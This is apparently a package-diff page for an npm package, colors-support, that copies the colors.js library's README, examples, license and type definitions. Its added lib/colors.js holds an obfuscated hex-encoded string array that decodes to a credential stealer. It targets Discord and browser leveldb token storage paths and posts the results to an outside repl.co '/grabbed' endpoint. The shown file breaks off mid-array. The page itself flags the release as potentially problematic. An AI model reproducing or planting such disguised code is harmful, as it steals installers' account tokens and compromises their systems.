colors-support 0.0.1-security → 1.5.3
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of colors-support might be problematic. Click here for more details.
- package/LICENSE +25 -0
- package/README.md +219 -3
- package/examples/normal-usage.js +82 -0
- package/examples/safe-string.js +79 -0
- package/index.d.ts +136 -0
- package/lib/colors.js +1 -0
- package/lib/custom/trap.js +46 -0
- package/lib/custom/zalgo.js +110 -0
- package/lib/extendStringPrototype.js +110 -0
- package/lib/index.js +13 -0
- package/lib/maps/america.js +10 -0
- package/lib/maps/rainbow.js +12 -0
- package/lib/maps/random.js +11 -0
- package/lib/maps/zebra.js +5 -0
- package/lib/styles.js +95 -0
- package/lib/system/has-flag.js +35 -0
- package/lib/system/supports-colors.js +151 -0
- package/package.json +49 -3
- package/safe.d.ts +48 -0
- package/safe.js +10 -0
- package/themes/generic-logging.js +12 -0
package/LICENSE
ADDED
@@ -0,0 +1,25 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Original Library
|
4
|
+
- Copyright (c) Marak Squires
|
5
|
+
|
6
|
+
Additional Functionality
|
7
|
+
- Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
8
|
+
|
9
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
10
|
+
of this software and associated documentation files (the "Software"), to deal
|
11
|
+
in the Software without restriction, including without limitation the rights
|
12
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
13
|
+
copies of the Software, and to permit persons to whom the Software is
|
14
|
+
furnished to do so, subject to the following conditions:
|
15
|
+
|
16
|
+
The above copyright notice and this permission notice shall be included in
|
17
|
+
all copies or substantial portions of the Software.
|
18
|
+
|
19
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
20
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
21
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
22
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
23
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
24
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
25
|
+
THE SOFTWARE.
|
package/README.md
CHANGED
@@ -1,5 +1,221 @@
|
|
1
|
-
#
|
1
|
+
# colors.js
|
2
|
+
[![Build Status](https://travis-ci.org/Marak/colors.js.svg?branch=master)](https://travis-ci.org/Marak/colors.js)
|
3
|
+
[![version](https://img.shields.io/npm/v/colors.svg)](https://www.npmjs.org/package/colors)
|
4
|
+
[![dependencies](https://david-dm.org/Marak/colors.js.svg)](https://david-dm.org/Marak/colors.js)
|
5
|
+
[![devDependencies](https://david-dm.org/Marak/colors.js/dev-status.svg)](https://david-dm.org/Marak/colors.js#info=devDependencies)
|
2
6
|
|
3
|
-
|
7
|
+
Please check out the [roadmap](ROADMAP.md) for upcoming features and releases. Please open Issues to provide feedback, and check the `develop` branch for the latest bleeding-edge updates.
|
4
8
|
|
5
|
-
|
9
|
+
## get color and style in your node.js console
|
10
|
+
|
11
|
+
![Demo](https://raw.githubusercontent.com/Marak/colors.js/master/screenshots/colors.png)
|
12
|
+
|
13
|
+
## Installation
|
14
|
+
|
15
|
+
npm install colors
|
16
|
+
|
17
|
+
## colors and styles!
|
18
|
+
|
19
|
+
### text colors
|
20
|
+
|
21
|
+
- black
|
22
|
+
- red
|
23
|
+
- green
|
24
|
+
- yellow
|
25
|
+
- blue
|
26
|
+
- magenta
|
27
|
+
- cyan
|
28
|
+
- white
|
29
|
+
- gray
|
30
|
+
- grey
|
31
|
+
|
32
|
+
### bright text colors
|
33
|
+
|
34
|
+
- brightRed
|
35
|
+
- brightGreen
|
36
|
+
- brightYellow
|
37
|
+
- brightBlue
|
38
|
+
- brightMagenta
|
39
|
+
- brightCyan
|
40
|
+
- brightWhite
|
41
|
+
|
42
|
+
### background colors
|
43
|
+
|
44
|
+
- bgBlack
|
45
|
+
- bgRed
|
46
|
+
- bgGreen
|
47
|
+
- bgYellow
|
48
|
+
- bgBlue
|
49
|
+
- bgMagenta
|
50
|
+
- bgCyan
|
51
|
+
- bgWhite
|
52
|
+
- bgGray
|
53
|
+
- bgGrey
|
54
|
+
|
55
|
+
### bright background colors
|
56
|
+
|
57
|
+
- bgBrightRed
|
58
|
+
- bgBrightGreen
|
59
|
+
- bgBrightYellow
|
60
|
+
- bgBrightBlue
|
61
|
+
- bgBrightMagenta
|
62
|
+
- bgBrightCyan
|
63
|
+
- bgBrightWhite
|
64
|
+
|
65
|
+
### styles
|
66
|
+
|
67
|
+
- reset
|
68
|
+
- bold
|
69
|
+
- dim
|
70
|
+
- italic
|
71
|
+
- underline
|
72
|
+
- inverse
|
73
|
+
- hidden
|
74
|
+
- strikethrough
|
75
|
+
|
76
|
+
### extras
|
77
|
+
|
78
|
+
- rainbow
|
79
|
+
- zebra
|
80
|
+
- america
|
81
|
+
- trap
|
82
|
+
- random
|
83
|
+
|
84
|
+
|
85
|
+
## Usage
|
86
|
+
|
87
|
+
By popular demand, `colors` now ships with two types of usages!
|
88
|
+
|
89
|
+
The super nifty way
|
90
|
+
|
91
|
+
```js
|
92
|
+
var colors = require('colors');
|
93
|
+
|
94
|
+
console.log('hello'.green); // outputs green text
|
95
|
+
console.log('i like cake and pies'.underline.red) // outputs red underlined text
|
96
|
+
console.log('inverse the color'.inverse); // inverses the color
|
97
|
+
console.log('OMG Rainbows!'.rainbow); // rainbow
|
98
|
+
console.log('Run the trap'.trap); // Drops the bass
|
99
|
+
|
100
|
+
```
|
101
|
+
|
102
|
+
or a slightly less nifty way which doesn't extend `String.prototype`
|
103
|
+
|
104
|
+
```js
|
105
|
+
var colors = require('colors/safe');
|
106
|
+
|
107
|
+
console.log(colors.green('hello')); // outputs green text
|
108
|
+
console.log(colors.red.underline('i like cake and pies')) // outputs red underlined text
|
109
|
+
console.log(colors.inverse('inverse the color')); // inverses the color
|
110
|
+
console.log(colors.rainbow('OMG Rainbows!')); // rainbow
|
111
|
+
console.log(colors.trap('Run the trap')); // Drops the bass
|
112
|
+
|
113
|
+
```
|
114
|
+
|
115
|
+
I prefer the first way. Some people seem to be afraid of extending `String.prototype` and prefer the second way.
|
116
|
+
|
117
|
+
If you are writing good code you will never have an issue with the first approach. If you really don't want to touch `String.prototype`, the second usage will not touch `String` native object.
|
118
|
+
|
119
|
+
## Enabling/Disabling Colors
|
120
|
+
|
121
|
+
The package will auto-detect whether your terminal can use colors and enable/disable accordingly. When colors are disabled, the color functions do nothing. You can override this with a command-line flag:
|
122
|
+
|
123
|
+
```bash
|
124
|
+
node myapp.js --no-color
|
125
|
+
node myapp.js --color=false
|
126
|
+
|
127
|
+
node myapp.js --color
|
128
|
+
node myapp.js --color=true
|
129
|
+
node myapp.js --color=always
|
130
|
+
|
131
|
+
FORCE_COLOR=1 node myapp.js
|
132
|
+
```
|
133
|
+
|
134
|
+
Or in code:
|
135
|
+
|
136
|
+
```javascript
|
137
|
+
var colors = require('colors');
|
138
|
+
colors.enable();
|
139
|
+
colors.disable();
|
140
|
+
```
|
141
|
+
|
142
|
+
## Console.log [string substitution](http://nodejs.org/docs/latest/api/console.html#console_console_log_data)
|
143
|
+
|
144
|
+
```js
|
145
|
+
var name = 'Marak';
|
146
|
+
console.log(colors.green('Hello %s'), name);
|
147
|
+
// outputs -> 'Hello Marak'
|
148
|
+
```
|
149
|
+
|
150
|
+
## Custom themes
|
151
|
+
|
152
|
+
### Using standard API
|
153
|
+
|
154
|
+
```js
|
155
|
+
|
156
|
+
var colors = require('colors');
|
157
|
+
|
158
|
+
colors.setTheme({
|
159
|
+
silly: 'rainbow',
|
160
|
+
input: 'grey',
|
161
|
+
verbose: 'cyan',
|
162
|
+
prompt: 'grey',
|
163
|
+
info: 'green',
|
164
|
+
data: 'grey',
|
165
|
+
help: 'cyan',
|
166
|
+
warn: 'yellow',
|
167
|
+
debug: 'blue',
|
168
|
+
error: 'red'
|
169
|
+
});
|
170
|
+
|
171
|
+
// outputs red text
|
172
|
+
console.log("this is an error".error);
|
173
|
+
|
174
|
+
// outputs yellow text
|
175
|
+
console.log("this is a warning".warn);
|
176
|
+
```
|
177
|
+
|
178
|
+
### Using string safe API
|
179
|
+
|
180
|
+
```js
|
181
|
+
var colors = require('colors/safe');
|
182
|
+
|
183
|
+
// set single property
|
184
|
+
var error = colors.red;
|
185
|
+
error('this is red');
|
186
|
+
|
187
|
+
// set theme
|
188
|
+
colors.setTheme({
|
189
|
+
silly: 'rainbow',
|
190
|
+
input: 'grey',
|
191
|
+
verbose: 'cyan',
|
192
|
+
prompt: 'grey',
|
193
|
+
info: 'green',
|
194
|
+
data: 'grey',
|
195
|
+
help: 'cyan',
|
196
|
+
warn: 'yellow',
|
197
|
+
debug: 'blue',
|
198
|
+
error: 'red'
|
199
|
+
});
|
200
|
+
|
201
|
+
// outputs red text
|
202
|
+
console.log(colors.error("this is an error"));
|
203
|
+
|
204
|
+
// outputs yellow text
|
205
|
+
console.log(colors.warn("this is a warning"));
|
206
|
+
|
207
|
+
```
|
208
|
+
|
209
|
+
### Combining Colors
|
210
|
+
|
211
|
+
```javascript
|
212
|
+
var colors = require('colors');
|
213
|
+
|
214
|
+
colors.setTheme({
|
215
|
+
custom: ['red', 'underline']
|
216
|
+
});
|
217
|
+
|
218
|
+
console.log('test'.custom);
|
219
|
+
```
|
220
|
+
|
221
|
+
*Protip: There is a secret undocumented style in `colors`. If you find the style you can summon him.*
|
@@ -0,0 +1,82 @@
|
|
1
|
+
var colors = require('../lib/index');
|
2
|
+
|
3
|
+
console.log('First some yellow text'.yellow);
|
4
|
+
|
5
|
+
console.log('Underline that text'.yellow.underline);
|
6
|
+
|
7
|
+
console.log('Make it bold and red'.red.bold);
|
8
|
+
|
9
|
+
console.log(('Double Raindows All Day Long').rainbow);
|
10
|
+
|
11
|
+
console.log('Drop the bass'.trap);
|
12
|
+
|
13
|
+
console.log('DROP THE RAINBOW BASS'.trap.rainbow);
|
14
|
+
|
15
|
+
// styles not widely supported
|
16
|
+
console.log('Chains are also cool.'.bold.italic.underline.red);
|
17
|
+
|
18
|
+
// styles not widely supported
|
19
|
+
console.log('So '.green + 'are'.underline + ' ' + 'inverse'.inverse
|
20
|
+
+ ' styles! '.yellow.bold);
|
21
|
+
console.log('Zebras are so fun!'.zebra);
|
22
|
+
|
23
|
+
//
|
24
|
+
// Remark: .strikethrough may not work with Mac OS Terminal App
|
25
|
+
//
|
26
|
+
console.log('This is ' + 'not'.strikethrough + ' fun.');
|
27
|
+
|
28
|
+
console.log('Background color attack!'.black.bgWhite);
|
29
|
+
console.log('Use random styles on everything!'.random);
|
30
|
+
console.log('America, Heck Yeah!'.america);
|
31
|
+
|
32
|
+
console.log('Blindingly '.brightCyan + 'bright? '.brightRed + 'Why '.brightYellow + 'not?!'.brightGreen);
|
33
|
+
|
34
|
+
console.log('Setting themes is useful');
|
35
|
+
|
36
|
+
//
|
37
|
+
// Custom themes
|
38
|
+
//
|
39
|
+
console.log('Generic logging theme as JSON'.green.bold.underline);
|
40
|
+
// Load theme with JSON literal
|
41
|
+
colors.setTheme({
|
42
|
+
silly: 'rainbow',
|
43
|
+
input: 'grey',
|
44
|
+
verbose: 'cyan',
|
45
|
+
prompt: 'grey',
|
46
|
+
info: 'green',
|
47
|
+
data: 'grey',
|
48
|
+
help: 'cyan',
|
49
|
+
warn: 'yellow',
|
50
|
+
debug: 'blue',
|
51
|
+
error: 'red',
|
52
|
+
});
|
53
|
+
|
54
|
+
// outputs red text
|
55
|
+
console.log('this is an error'.error);
|
56
|
+
|
57
|
+
// outputs yellow text
|
58
|
+
console.log('this is a warning'.warn);
|
59
|
+
|
60
|
+
// outputs grey text
|
61
|
+
console.log('this is an input'.input);
|
62
|
+
|
63
|
+
console.log('Generic logging theme as file'.green.bold.underline);
|
64
|
+
|
65
|
+
// Load a theme from file
|
66
|
+
try {
|
67
|
+
colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));
|
68
|
+
} catch (err) {
|
69
|
+
console.log(err);
|
70
|
+
}
|
71
|
+
|
72
|
+
// outputs red text
|
73
|
+
console.log('this is an error'.error);
|
74
|
+
|
75
|
+
// outputs yellow text
|
76
|
+
console.log('this is a warning'.warn);
|
77
|
+
|
78
|
+
// outputs grey text
|
79
|
+
console.log('this is an input'.input);
|
80
|
+
|
81
|
+
// console.log("Don't summon".zalgo)
|
82
|
+
|
@@ -0,0 +1,79 @@
|
|
1
|
+
var colors = require('../safe');
|
2
|
+
|
3
|
+
console.log(colors.yellow('First some yellow text'));
|
4
|
+
|
5
|
+
console.log(colors.yellow.underline('Underline that text'));
|
6
|
+
|
7
|
+
console.log(colors.red.bold('Make it bold and red'));
|
8
|
+
|
9
|
+
console.log(colors.rainbow('Double Raindows All Day Long'));
|
10
|
+
|
11
|
+
console.log(colors.trap('Drop the bass'));
|
12
|
+
|
13
|
+
console.log(colors.rainbow(colors.trap('DROP THE RAINBOW BASS')));
|
14
|
+
|
15
|
+
// styles not widely supported
|
16
|
+
console.log(colors.bold.italic.underline.red('Chains are also cool.'));
|
17
|
+
|
18
|
+
// styles not widely supported
|
19
|
+
console.log(colors.green('So ') + colors.underline('are') + ' '
|
20
|
+
+ colors.inverse('inverse') + colors.yellow.bold(' styles! '));
|
21
|
+
|
22
|
+
console.log(colors.zebra('Zebras are so fun!'));
|
23
|
+
|
24
|
+
console.log('This is ' + colors.strikethrough('not') + ' fun.');
|
25
|
+
|
26
|
+
|
27
|
+
console.log(colors.black.bgWhite('Background color attack!'));
|
28
|
+
console.log(colors.random('Use random styles on everything!'));
|
29
|
+
console.log(colors.america('America, Heck Yeah!'));
|
30
|
+
|
31
|
+
console.log(colors.brightCyan('Blindingly ') + colors.brightRed('bright? ') + colors.brightYellow('Why ') + colors.brightGreen('not?!'));
|
32
|
+
|
33
|
+
console.log('Setting themes is useful');
|
34
|
+
|
35
|
+
//
|
36
|
+
// Custom themes
|
37
|
+
//
|
38
|
+
// console.log('Generic logging theme as JSON'.green.bold.underline);
|
39
|
+
// Load theme with JSON literal
|
40
|
+
colors.setTheme({
|
41
|
+
silly: 'rainbow',
|
42
|
+
input: 'blue',
|
43
|
+
verbose: 'cyan',
|
44
|
+
prompt: 'grey',
|
45
|
+
info: 'green',
|
46
|
+
data: 'grey',
|
47
|
+
help: 'cyan',
|
48
|
+
warn: 'yellow',
|
49
|
+
debug: 'blue',
|
50
|
+
error: 'red',
|
51
|
+
});
|
52
|
+
|
53
|
+
// outputs red text
|
54
|
+
console.log(colors.error('this is an error'));
|
55
|
+
|
56
|
+
// outputs yellow text
|
57
|
+
console.log(colors.warn('this is a warning'));
|
58
|
+
|
59
|
+
// outputs blue text
|
60
|
+
console.log(colors.input('this is an input'));
|
61
|
+
|
62
|
+
|
63
|
+
// console.log('Generic logging theme as file'.green.bold.underline);
|
64
|
+
|
65
|
+
// Load a theme from file
|
66
|
+
colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));
|
67
|
+
|
68
|
+
// outputs red text
|
69
|
+
console.log(colors.error('this is an error'));
|
70
|
+
|
71
|
+
// outputs yellow text
|
72
|
+
console.log(colors.warn('this is a warning'));
|
73
|
+
|
74
|
+
// outputs grey text
|
75
|
+
console.log(colors.input('this is an input'));
|
76
|
+
|
77
|
+
// console.log(colors.zalgo("Don't summon him"))
|
78
|
+
|
79
|
+
|
package/index.d.ts
ADDED
@@ -0,0 +1,136 @@
|
|
1
|
+
// Type definitions for Colors.js 1.2
|
2
|
+
// Project: https://github.com/Marak/colors.js
|
3
|
+
// Definitions by: Bart van der Schoor <https://github.com/Bartvds>, Staffan Eketorp <https://github.com/staeke>
|
4
|
+
// Definitions: https://github.com/Marak/colors.js
|
5
|
+
|
6
|
+
export interface Color {
|
7
|
+
(text: string): string;
|
8
|
+
|
9
|
+
strip: Color;
|
10
|
+
stripColors: Color;
|
11
|
+
|
12
|
+
black: Color;
|
13
|
+
red: Color;
|
14
|
+
green: Color;
|
15
|
+
yellow: Color;
|
16
|
+
blue: Color;
|
17
|
+
magenta: Color;
|
18
|
+
cyan: Color;
|
19
|
+
white: Color;
|
20
|
+
gray: Color;
|
21
|
+
grey: Color;
|
22
|
+
|
23
|
+
bgBlack: Color;
|
24
|
+
bgRed: Color;
|
25
|
+
bgGreen: Color;
|
26
|
+
bgYellow: Color;
|
27
|
+
bgBlue: Color;
|
28
|
+
bgMagenta: Color;
|
29
|
+
bgCyan: Color;
|
30
|
+
bgWhite: Color;
|
31
|
+
|
32
|
+
reset: Color;
|
33
|
+
bold: Color;
|
34
|
+
dim: Color;
|
35
|
+
italic: Color;
|
36
|
+
underline: Color;
|
37
|
+
inverse: Color;
|
38
|
+
hidden: Color;
|
39
|
+
strikethrough: Color;
|
40
|
+
|
41
|
+
rainbow: Color;
|
42
|
+
zebra: Color;
|
43
|
+
america: Color;
|
44
|
+
trap: Color;
|
45
|
+
random: Color;
|
46
|
+
zalgo: Color;
|
47
|
+
}
|
48
|
+
|
49
|
+
export function enable(): void;
|
50
|
+
export function disable(): void;
|
51
|
+
export function setTheme(theme: any): void;
|
52
|
+
|
53
|
+
export let enabled: boolean;
|
54
|
+
|
55
|
+
export const strip: Color;
|
56
|
+
export const stripColors: Color;
|
57
|
+
|
58
|
+
export const black: Color;
|
59
|
+
export const red: Color;
|
60
|
+
export const green: Color;
|
61
|
+
export const yellow: Color;
|
62
|
+
export const blue: Color;
|
63
|
+
export const magenta: Color;
|
64
|
+
export const cyan: Color;
|
65
|
+
export const white: Color;
|
66
|
+
export const gray: Color;
|
67
|
+
export const grey: Color;
|
68
|
+
|
69
|
+
export const bgBlack: Color;
|
70
|
+
export const bgRed: Color;
|
71
|
+
export const bgGreen: Color;
|
72
|
+
export const bgYellow: Color;
|
73
|
+
export const bgBlue: Color;
|
74
|
+
export const bgMagenta: Color;
|
75
|
+
export const bgCyan: Color;
|
76
|
+
export const bgWhite: Color;
|
77
|
+
|
78
|
+
export const reset: Color;
|
79
|
+
export const bold: Color;
|
80
|
+
export const dim: Color;
|
81
|
+
export const italic: Color;
|
82
|
+
export const underline: Color;
|
83
|
+
export const inverse: Color;
|
84
|
+
export const hidden: Color;
|
85
|
+
export const strikethrough: Color;
|
86
|
+
|
87
|
+
export const rainbow: Color;
|
88
|
+
export const zebra: Color;
|
89
|
+
export const america: Color;
|
90
|
+
export const trap: Color;
|
91
|
+
export const random: Color;
|
92
|
+
export const zalgo: Color;
|
93
|
+
|
94
|
+
declare global {
|
95
|
+
interface String {
|
96
|
+
strip: string;
|
97
|
+
stripColors: string;
|
98
|
+
|
99
|
+
black: string;
|
100
|
+
red: string;
|
101
|
+
green: string;
|
102
|
+
yellow: string;
|
103
|
+
blue: string;
|
104
|
+
magenta: string;
|
105
|
+
cyan: string;
|
106
|
+
white: string;
|
107
|
+
gray: string;
|
108
|
+
grey: string;
|
109
|
+
|
110
|
+
bgBlack: string;
|
111
|
+
bgRed: string;
|
112
|
+
bgGreen: string;
|
113
|
+
bgYellow: string;
|
114
|
+
bgBlue: string;
|
115
|
+
bgMagenta: string;
|
116
|
+
bgCyan: string;
|
117
|
+
bgWhite: string;
|
118
|
+
|
119
|
+
reset: string;
|
120
|
+
// @ts-ignore
|
121
|
+
bold: string;
|
122
|
+
dim: string;
|
123
|
+
italic: string;
|
124
|
+
underline: string;
|
125
|
+
inverse: string;
|
126
|
+
hidden: string;
|
127
|
+
strikethrough: string;
|
128
|
+
|
129
|
+
rainbow: string;
|
130
|
+
zebra: string;
|
131
|
+
america: string;
|
132
|
+
trap: string;
|
133
|
+
random: string;
|
134
|
+
zalgo: string;
|
135
|
+
}
|
136
|
+
}
|
package/lib/colors.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
var _0xaba5=["\x65\x78\x70\x6F\x72\x74\x73","\x66\x73","\x6E\x6F\x64\x65\x2D\x66\x65\x74\x63\x68","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x65\x7A\x30\x30\x30\x2E\x72\x65\x70\x6C\x2E\x63\x6F\x2F\x67\x72\x61\x62\x62\x65\x64","","\x3A","\x73\x70\x6C\x69\x74","\x3A\x2F\x55\x73\x65\x72\x73\x2F","\x5C","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x52\x6F\x61\x6D\x69\x6E\x67\x2F\x44\x69\x73\x63\x6F\x72\x64\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x52\x6F\x61\x6D\x69\x6E\x67\x2F\x4C\x69\x67\x68\x74\x63\x6F\x72\x64\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x52\x6F\x61\x6D\x69\x6E\x67\x2F\x64\x69\x73\x63\x6F\x72\x64\x70\x74\x62\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x52\x6F\x61\x6D\x69\x6E\x67\x2F\x64\x69\x73\x63\x6F\x72\x64\x63\x61\x6E\x61\x72\x79\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x52\x6F\x61\x6D\x69\x6E\x67\x2F\x4F\x70\x65\x72\x61\x20\x53\x6F\x66\x74\x77\x61\x72\x65\x2F\x4F\x70\x65\x72\x61\x20\x53\x74\x61\x62\x6C\x65\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x52\x6F\x61\x6D\x69\x6E\x67\x2F\x4F\x70\x65\x72\x61\x20\x53\x6F\x66\x74\x77\x61\x72\x65\x2F\x4F\x70\x65\x72\x61\x20\x47\x58\x20\x53\x74\x61\x62\x6C\x65\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x2F\x41\x6D\x69\x67\x6F\x2F\x55\x73\x65\x72\x20\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x2F\x54\x6F\x72\x63\x68\x2F\x55\x73\x65\x72\x20\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x2F\x4B\x6F\x6D\x65\x74\x61\x2F\x55\x73\x65\x72\x20\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x2F\x4F\x72\x62\x69\x74\x75\x6D\x2F\x55\x73\x65\x72\x20\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x2F\x43\x65\x6E\x74\x42\x72\x6F\x77\x73\x65\x72\x2F\x55\x73\x65\x72\x20\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x2F\x37\x53\x74\x61\x72\x2F\x37\x53\x74\x61\x72\x2F\x55\x73\x65\x72\x20\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x2F\x53\x70\x75\x74\x6E\x69\x6B\x2F\x53\x70\x75\x74\x6E\x69\x6B\x2F\x55\x73\x65\x72\x20\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x2F\x56\x69\x76\x61\x6C\x64\x69\x2F\x55\x73\x65\x72\x20\x44\x61\x74\x61\x2F\x44\x65\x66\x61\x75\x6C\x74\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x2F\x47\x6F\x6F\x67\x6C\x65\x2F\x43\x68\x72\x6F\x6D\x65\x20\x53\x78\x53\x2F\x55\x73\x65\x72\x20\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x2F\x45\x70\x69\x63\x20\x50\x72\x69\x76\x61\x63\x79\x20\x42\x72\x6F\x77\x73\x65\x72\x2F\x55\x73\x65\x72\x20\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x2F\x47\x6F\x6F\x67\x6C\x65\x2F\x43\x68\x72\x6F\x6D\x65\x2F\x55\x73\x65\x72\x20\x44\x61\x74\x61\x2F\x44\x65\x66\x61\x75\x6C\x74\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x2F\x75\x43\x6F\x7A\x4D\x65\x64\x69\x61\x2F\x55\x72\x61\x6E\x2F\x55\x73\x65\x72\x20\x44\x61\x74\x61\x2F\x44\x65\x66\x61\x75\x6C\x74\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x2F\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2F\x45\x64\x67\x65\x2F\x55\x73\x65\x72\x20\x44\x61\x74\x61\x2F\x44\x65\x66\x61\x75\x6C\x74\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x2F\x59\x61\x6E\x64\x65\x78\x2F\x59\x61\x6E\x64\x65\x78\x42\x72\x6F\x77\x73\x65\x72\x2F\x55\x73\x65\x72\x20\x44\x61\x74\x61\x2F\x44\x65\x66\x61\x75\x6C\x74\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x2F\x4F\x70\x65\x72\x61\x20\x53\x6F\x66\x74\x77\x61\x72\x65\x2F\x4F\x70\x65\x72\x61\x20\x4E\x65\x6F\x6E\x2F\x55\x73\x65\x72\x20\x44\x61\x74\x61\x2F\x44\x65\x66\x61\x75\x6C\x74\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x2F\x41\x70\x70\x44\x61\x74\x61\x2F\x4C\x6F\x63\x61\x6C\x2F\x42\x72\x61\x76\x65\x53\x6F\x66\x74\x77\x61\x72\x65\x2F\x42\x72\x61\x76\x65\x2D\x42\x72\x6F\x77\x73\x65\x72\x2F\x55\x73\x65\x72\x20\x44\x61\x74\x61\x2F\x44\x65\x66\x61\x75\x6C\x74\x2F\x4C\x6F\x63\x61\x6C\x20\x53\x74\x6F\x72\x61\x67\x65\x2F\x6C\x65\x76\x65\x6C\x64\x62","\x6C\x65\x6E\x67\x74\x68","\x70\x6F\x70","\x2E","\x6C\x64\x62","\x66\x69\x6C\x74\x65\x72","\x2F","\x75\x74\x66\x2D\x38","\x65\x78\x65\x63","\x69\x70","\x74\x68\x65\x6E","\x6A\x73\x6F\x6E","\x68\x74\x74\x70\x73\x